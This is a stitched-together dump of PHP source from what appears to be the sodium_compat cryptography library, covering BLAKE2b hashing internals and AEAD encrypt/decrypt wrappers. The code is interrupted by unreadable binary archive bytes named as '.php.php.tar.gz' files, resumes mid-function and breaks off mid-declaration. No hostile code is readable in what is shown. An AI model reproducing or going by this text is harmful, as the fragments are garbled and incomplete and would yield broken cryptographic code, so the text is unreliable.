SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (self::flatten64($ctx[1][0]) < $inc) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { $ctx[3][$i+$ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string * @throws TypeError */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array $arr */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array> $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $str .= self::store32_le($ctxA[$i][1]); $str .= self::store32_le($ctxA[$i][0]); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctxA = $ctx[$i]->toArray(); $str .= self::store32_le($ctxA[0][1]); $str .= self::store32_le($ctxA[0][0]); $str .= self::store32_le($ctxA[1][1]); $str .= self::store32_le($ctxA[1][0]); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = (int) $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = SplFixedArray::fromArray( array( self::load_4( self::substr($string, (($i << 3) + 4), 4) ), self::load_4( self::substr($string, (($i << 3) + 0), 4) ) ) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4)) ) ); $ctx[$i][0] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4)) ) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } PK&L['?ova/ristretto255.php.php.tar.gznu[]o0{_i U@KZ1T$Z6EȔęТ} ỘMĹie9Ǐr aE\> PWaO^_9״MڙZ#iyןЧ6nuxݰQt_mCfB ?~4a2Źst:jqa@N#pZ;ɷW48J8LiTl}賩M:2Rn࢈ r~ R~ RNv//^"{y-b/,mzN!yH?V<#F,e6v+8TZBЁԢCKdf^!O琬c뷀[+G>zIw!Ll^mQvlamNG/i1Ȱpwl4Fl%$.J^*4y)DhjҍJ9!Km׌BFYR7𖦖DB*`EB*hd,Xe:&(]hQw  PҰL Qya5ڿ׸5Q)h5iMPK&L[{>> ova/autoload-php7.php.php.tar.gznu[TQo0s~MDRE})ې ^-lv(sL۴M%>wJ1bQlүbVֵ2ne/b6j.5.SK҃=ΎEM9E?u~ut޽>*'jq}CEEWBv|J揀40CN?) ^GpFb1}/ɧlr 06{]a0z"sV 3̜֡ <˹\5Z34𥒓1;nZp+kb{Xsgx_l ֒ބWw]HZm qIsQa4P{1s'68RQ%XHbF?u:P~/M[ͅ)PEM%50#1 pQ+m<3vaXZHX/nFB)z>= 8; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * @param string $encoded * @param int $variant * @param string $ignore * @return string * @throws SodiumException */ public static function base642bin( #[\SensitiveParameter] $encoded, $variant, $ignore = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1); /** @var string $encoded */ $encoded = (string) $encoded; if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) { return ''; } // Just strip before decoding if (!empty($ignore)) { $encoded = str_replace($ignore, '', $encoded); } try { switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false); default: throw new SodiumException('invalid base64 variant identifier'); } } catch (Exception $ex) { if ($ex instanceof SodiumException) { throw $ex; } throw new SodiumException('invalid base64 string'); } } /** * @param string $decoded * @param int $variant * @return string * @throws SodiumException */ public static function bin2base64( #[\SensitiveParameter] $decoded, $variant ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1); /** @var string $decoded */ $decoded = (string) $decoded; if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) { return ''; } switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::encode($decoded); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded); default: throw new SodiumException('invalid base64 variant identifier'); } } /** * Cache-timing-safe implementation of bin2hex(). * * @param string $string A string (probably raw binary) * @return string A hexadecimal-encoded string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function bin2hex( #[\SensitiveParameter] $string ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_bin2hex($string); } if (self::use_fallback('bin2hex')) { return (string) call_user_func('\\Sodium\\bin2hex', $string); } return ParagonIE_Sodium_Core_Util::bin2hex($string); } /** * Compare two strings, in constant-time. * Compared to memcmp(), compare() is more useful for sorting. * * @param string $left The left operand; must be a string * @param string $right The right operand; must be a string * @return int If < 0 if the left operand is less than the right * If = 0 if both strings are equal * If > 0 if the right operand is less than the left * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function compare( #[\SensitiveParameter] $left, #[\SensitiveParameter] $right ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return (int) sodium_compare($left, $right); } if (self::use_fallback('compare')) { return (int) call_user_func('\\Sodium\\compare', $left, $right); } return ParagonIE_Sodium_Core_Util::compare($left, $right); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AEGIS-128L * * @param string $ciphertext Encrypted message (with MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aegis128l_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS_128L_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext); if ($ct_length < self::CRYPTO_AEAD_AEGIS128L_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS128L_ABYTES long'); } $ct = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES ); $tag = ParagonIE_Sodium_Core_Util::substr( $ciphertext, $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES, self::CRYPTO_AEAD_AEGIS128L_ABYTES ); return ParagonIE_Sodium_Core_AEGIS128L::decrypt($ct, $tag, $assocData, $key, $nonce); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AEGIS-128L * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string Ciphertext with 32-byte authentication tag appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aegis128l_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS128L::encrypt($plaintext, $assocData, $key, $nonce); return $ct . $tag; } /** * Return a secure random key for use with the AEGIS-128L * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aegis128l_keygen() { return random_bytes(self::CRYPTO_AEAD_AEGIS128L_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AEGIS-256 * * @param string $ciphertext Encrypted message (with MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aegis256_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long'); } $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext); if ($ct_length < self::CRYPTO_AEAD_AEGIS256_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS256_ABYTES long'); } $ct = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES ); $tag = ParagonIE_Sodium_Core_Util::substr( $ciphertext, $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES, self::CRYPTO_AEAD_AEGIS256_ABYTES ); return ParagonIE_Sodium_Core_AEGIS256::decrypt($ct, $tag, $assocData, $key, $nonce); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AEGIS-256 * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string Ciphertext with 32-byte authentication tag appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aegis256_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS256::encrypt($plaintext, $assocData, $key, $nonce); return $ct . $tag; } /** * Return a secure random key for use with the AEGIS-256 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aegis256_keygen() { return random_bytes(self::CRYPTO_AEAD_AEGIS256_KEYBYTES); } /** * Is AES-256-GCM even available to use? * * @return bool * @psalm-suppress UndefinedFunction * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_is_available() { if (self::useNewSodiumAPI()) { return sodium_crypto_aead_aes256gcm_is_available(); } if (self::use_fallback('crypto_aead_aes256gcm_is_available')) { return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available'); } if (PHP_VERSION_ID < 70100) { // OpenSSL doesn't support AEAD before 7.1.0 return false; } if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) { // OpenSSL isn't installed return false; } return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods()); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AES-256-GCM * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long'); } if (!is_callable('openssl_decrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available'); } /** @var string $ctext */ $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES); /** @var string $authTag */ $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16); return openssl_decrypt( $ctext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AES-256-GCM * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte GCM message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (!is_callable('openssl_encrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available'); } $authTag = ''; $ciphertext = openssl_encrypt( $plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); return $ciphertext . $authTag; } /** * Return a secure random key for use with the AES-256-GCM * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aes256gcm_keygen() { return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 12 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function 